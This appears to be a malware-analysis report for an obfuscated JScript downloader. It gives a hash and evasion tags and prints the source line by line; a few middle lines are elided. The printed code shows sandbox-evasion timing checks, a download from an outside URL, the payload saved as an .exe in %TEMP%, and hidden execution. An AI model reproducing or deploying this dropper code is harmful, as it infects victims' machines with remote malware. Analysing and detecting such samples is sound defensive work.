20160328_96ff041f1d5e3ea41a8489f4cb124a96.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2568fcd18fda86521630237cc43bb7108d64f699b7566ab294d17c36417206bd2be
Evidence
1var Gxdwmia = false;
2var Zvgqm = "CreateObject";
3var Dttlo = function Wxhkqhmht() {return WScript[Zvgqm]("WScript.Shell");}();
4var Tyeqmyrrtz = 123213;
5var Erhwmj = "MSXML2.XMLHTTP";
6var Poaivm = 2123213;
7var Chlcw = 0;
8function Xrgkbdum(Kjobwitxo){Dttlo["Run"](Kjobwitxo, Chlcw, Chlcw);};
9function Elodlwk(){return Erhwmj;};
10function Nwvedt(Bgkvtfagym, Nbvui){return Bgkvtfagym - Nbvui;};
11function Alagjid(){return Zvgqm;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Gxdwmia = true;
15 @end
16@*/
17var Eeseqdoa = "";
18if (Gxdwmia)
19{
20function Nurjq(){return 22;};
21var Jisawl = 0; var Hmutmnmk = 0;
22function Wpcwp()
23{
24var Bdxrxuyf = new this["Date"]();
25var Jiaproj = Bdxrxuyf["getUTCMilliseconds"]();
26WScript["Sleep"](Nurjq());
27var Bdxrxuyf = new this["Date"]();
28var Ghzetdkx = Bdxrxuyf["getUTCMilliseconds"]();
29WScript["Sleep"](Nurjq());
30var Bdxrxuyf = new this["Date"]();
31var Wzhkyhx = Bdxrxuyf["getUTCMilliseconds"]();
32var Jisawl = "Efpkh";
33Jisawl = Nwvedt(Ghzetdkx, Jiaproj);
34var Hmutmnmk = "Lbskzhxxv";
35Hmutmnmk = Nwvedt(Wzhkyhx, Ghzetdkx);
36Eeseqdoa = "open";
37return Nwvedt(Jisawl, Hmutmnmk);
38}
39var Tvdrfflcqg = false;
40var Jfwadlpq = false;
41for (var Cjgmxfnbwq = Chlcw; Cjgmxfnbwq < Nurjq() * 1; Cjgmxfnbwq++){if (Wpcwp() != Chlcw){
42Tvdrfflc …
49:6… vdrfflcqg && Hixlvw() && Jfwadlpq){
50function Xpbnwvd() {return Dttlo["ExpandEnvironmentStrings"]("%TEMP%/") + "kOqaUzAJ.exe";};
51 Qswefiea = Elodlwk();
52 Cygmgcfd = WScript[Zvgqm](Qswefiea);
53 var Uaavaqlr = 1;
54 while (Uaavaqlr){
55try {
56Cygmgcfd[Eeseqdoa]("GET", "http://blackmountaintipis.com/mxn3aad", false);
57Cygmgcfd["send"]();
58Qikyk = "Sleep";
59do {WScript[Qikyk](Nurjq() * 11)} while (Cygmgcfd["readystate"] < 4 );
60Uaavaqlr = Chlcw;
61} catch(Iidwnx){Uaavaqlr = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Cmnzgiaxvj(Pmfpkbs) {var Obkzqexk = (1, 2, 3, 4, 5, Pmfpkbs); return Obkzqexk;};
64Gfjvotvnp = WScript[Alagjid()]("ADODB.Stream");
65Qswefiea = Gfjvotvnp;
66Qswefiea[Eeseqdoa]();
67Qswefiea["type"] = Cmnzgiaxvj(1);
68Qswefiea["write"](Cygmgcfd["ResponseBody"]);
69Gfjvotvnp["position"] = Cmnzgiaxvj(Chlcw);
70Qswefiea["SaveToFile"](Xpbnwvd(), Cmnzgiaxvj(2) );
71Gfjvotvnp["close"]();
72Xrgkbdum(Xpbnwvd());
73}
74}
75